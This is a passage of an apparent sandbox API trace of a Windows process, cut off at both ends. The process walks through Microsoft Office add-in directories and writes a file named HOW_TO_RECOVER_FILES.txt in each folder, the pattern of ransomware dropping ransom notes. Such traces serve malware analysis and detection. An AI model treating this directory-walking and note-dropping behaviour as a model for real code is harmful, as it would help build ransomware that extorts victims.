dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b280 [0219.921] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.921] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9992797, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9992797, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0219.921] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e56af1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x23aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0219.922] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4692737, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4692737, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2f040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0219.922] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x680214, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0219.922] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.922] FindClose (in: hFindFile=0x134b280 | out: hFindFile=0x134b280) returned 1 [0219.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0219.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0219.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0219.923] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANS", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANS", lpFilePart=0x0) returned 0x6d [0219.923] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANS\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af20 [0219.923] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.924] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9992797, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9992797, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0219.924] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e56af1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x23aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0219.924] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4692737, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4692737, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2f040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0219.924] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x680214, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0219.924] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x680214, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 0 [0219.924] FindClose (in: hFindFile=0x134af20 | out: hFindFile=0x134af20) returned 1 [0219.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0219.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0219.925] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANS\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANS\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x86 [0219.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0219.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANS\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\zh-hans\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0219.927] GetFileType (hFile=0x82c) returned 0x1 [0219.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0219.927] GetFileType (hFile=0x82c) returned 0x1 [0219.928] WriteFile (in: hFile=0x82c, lpBuffer=0x36549e8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x36549e8*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0219.928] CloseHandle (hObject=0x82c) returned 1 [0219.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0219.929] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANT", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANT", lpFilePart=0x0) returned 0x6d [0219.929] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANT\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134afe0 [0219.930] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.930] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa5581c0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa853100, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xdaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0219.930] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6bd3439, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bd3439, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c1f8d1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x25040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0219.930] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf00af60a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf00d5872, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x30040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0219.930] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12b7378, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf12b7378, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x80040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0219.930] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.930] FindClose (in: hFindFile=0x134afe0 | out: hFindFile=0x134afe0) returned 1 [0219.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0219.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0219.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0219.931] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANT", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANT", lpFilePart=0x0) returned 0x6d [0219.931] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANT\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a920 [0219.932] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.932] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa5581c0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa853100, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xdaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0219.932] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6bd3439, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bd3439, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c1f8d1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x25040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0219.932] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf00af60a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf00d5872, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x30040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0219.933] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12b7378, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf12b7378, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x80040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0219.933] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12b7378, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf12b7378, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x80040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 0 [0219.933] FindClose (in: hFindFile=0x134a920 | out: hFindFile=0x134a920) returned 1 [0219.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0219.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0219.934] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANT\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANT\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x86 [0219.934] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0219.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANT\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\zh-hant\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0219.935] GetFileType (hFile=0x82c) returned 0x1 [0219.935] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0219.935] GetFileType (hFile=0x82c) returned 0x1 [0219.935] WriteFile (in: hFile=0x82c, lpBuffer=0x3668360*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x3668360*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0219.936] CloseHandle (hObject=0x82c) returned 1 [0219.936] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7e [0219.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0219.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0219.937] GetFileType (hFile=0x82c) returned 0x1 [0219.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0219.937] GetFileType (hFile=0x82c) returned 0x1 [0219.938] WriteFile (in: hFile=0x82c, lpBuffer=0x366bca8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x366bca8*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0219.939] CloseHandle (hObject=0x82c) returned 1 [0219.939] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ed070, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7a [0219.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed590) returned 1 [0219.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0220.920] GetFileType (hFile=0x82c) returned 0x1 [0220.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed500) returned 1 [0220.920] GetFileType (hFile=0x82c) returned 0x1 [0221.166] WriteFile (in: hFile=0x82c, lpBuffer=0x3815228*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ed658, lpOverlapped=0x0 | out: lpBuffer=0x3815228*, lpNumberOfBytesWritten=0x206ed658*=0x5d0, lpOverlapped=0x0) returned 1 [0221.167] CloseHandle (hObject=0x82c) returned 1 [0221.168] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed620) returned 1 [0221.168] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in", nBufferLength=0x105, lpBuffer=0x206ed0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in", lpFilePart=0x0) returned 0x4d [0221.168] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in\\*", lpFindFileData=0x206ed340 | out: lpFindFileData=0x206ed340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf016e209, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae60 [0221.169] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf016e209, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.169] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x520cca6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x520cca6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5612cee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x143040, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATATRANSFORMERWRAPPER.DLL", cAlternateFileName="DATATR~1.DLL")) returned 1 [0221.169] FindNextFileW (in: hFindFile=0x134ae60, 